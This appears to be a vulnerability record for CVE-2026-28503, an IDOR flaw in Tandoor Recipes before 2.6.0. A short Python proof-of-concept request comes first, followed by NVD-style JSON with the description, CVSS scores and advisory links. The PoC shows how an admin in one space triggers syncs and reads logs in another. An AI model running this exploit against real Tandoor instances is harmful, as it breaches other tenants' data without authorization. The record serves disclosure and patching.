CVE-2026-28503

import requests # PoC for CVE-2026-28503 # Target: Tandoor Recipes < 2.6.0 # Description: Admin in Space A triggers sync in Space B target_url = "http://target-domain.com/api/sync/<TARGET_SYNC_ID>/query_synced_folder/" # Attacker's cookie/token (Admin of Space A) headers = { "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } # Send request to exploit the IDOR response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sync triggered/logs viewed.") print(response.json()) else: print("[-] Failed to exploit.")

{"cve": {"id": "CVE-2026-28503", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:16:57.113", "lastModified": "2026-03-30T19:28:48.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. In versions prior to 2.6.0, the `SyncViewSet.query_synced_folder()` action in `cookbook/views/api.py` (line 903) fetches a Sync object using `get_object_or_404(Sync, pk=pk)` without including `space=request.space` in the filter. This allows an admin user in Space A to trigger sync operations (Dropbox/Nextcloud/Local import) on Sync configurations belonging to Space B, and view the resulting sync logs. Version 2.6.0 patches the issue."}, {"lang": "es", "value": "Tandoor Recipes es una aplicación para gestionar recetas, planificar comidas y crear listas de compras. En versiones anteriores a la 2.6.0, la acción 'SyncViewSet.query_synced_folder()' en 'cookbook/views/API.py' (línea 903) obtiene un objeto Sync utilizando 'get_object_or_404(Sync, pk=pk)' sin incluir 'space=request.space' en el filtro. Esto permite que un usuario administrador en el Espacio A active operaciones de sincronización (importación de Dropbox/Nextcloud/Local) en configuraciones de Sync pertenecientes al Espacio B, y vea los registros de sincronización resultantes. La versión 2.6.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.0", "matchCriteriaId": "6EFEDF7D-1D00-4901-A064-ECC168038F6C"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/releases/tag/2.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-6qpw-gwcq-68fv", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}